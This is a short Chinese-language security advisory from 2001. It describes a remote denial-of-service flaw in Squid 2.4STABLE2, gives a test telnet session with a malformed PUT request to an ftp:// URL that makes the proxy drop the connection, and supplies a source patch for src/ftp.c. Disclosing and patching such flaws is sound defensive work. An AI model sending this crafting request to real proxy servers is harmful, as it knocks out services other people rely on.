Squid Mkdir-only PUT 请求可导致拒绝服务攻击发布时间：2001-09-25 更新时间：2001-09-25 严重程度：中 威胁程度：远程拒绝服务 错误类型：设计错误 利用方式：服务器模式 受影响系统 Squid version 2.4STABLE2详细描述 Squid允许用户通过简单发送不正常的PUT请求而导致拒绝服务攻击。 测试代码 $ telnet proxy:3128 PUT ftp://whatever:whatever@ftp.example.com/ HTTP/1.1 Content-type: application/octet-stream Content-length: 0 Pragma: no-cache Connection closed by foreign host. 解决方案 Patch: Index: src/ftp.c =================================================================== RCS file: /server/cvs-server/squid/squid/src/ftp.c,v retrieving revision 1.298.2.4 diff -u -w -r1.298.2.4 ftp.c --- src/ftp.c 2001/01/12 00:51:47 1.298.2.4 +++ src/ftp.c 2001/09/18 13:51:25 @@ -2450,8 +2450,10 @@ err->ftp.request = xstrdup(ftpState->ctrl.last_command); if (ftpState->old_reply) err->ftp.reply = xstrdup(ftpState->old_reply); - else + else if (ftpState->ctrl.last_reply) err->ftp.reply = xstrdup(ftpState->ctrl.last_reply); + else + err->ftp.reply = xstrdup(""); errorAppendEntry(ftpState->entry, err); storeBufferFlush(ftpState->entry); ftpSendQuit(ftpState); 相关信息 hazard at francoudi.com |
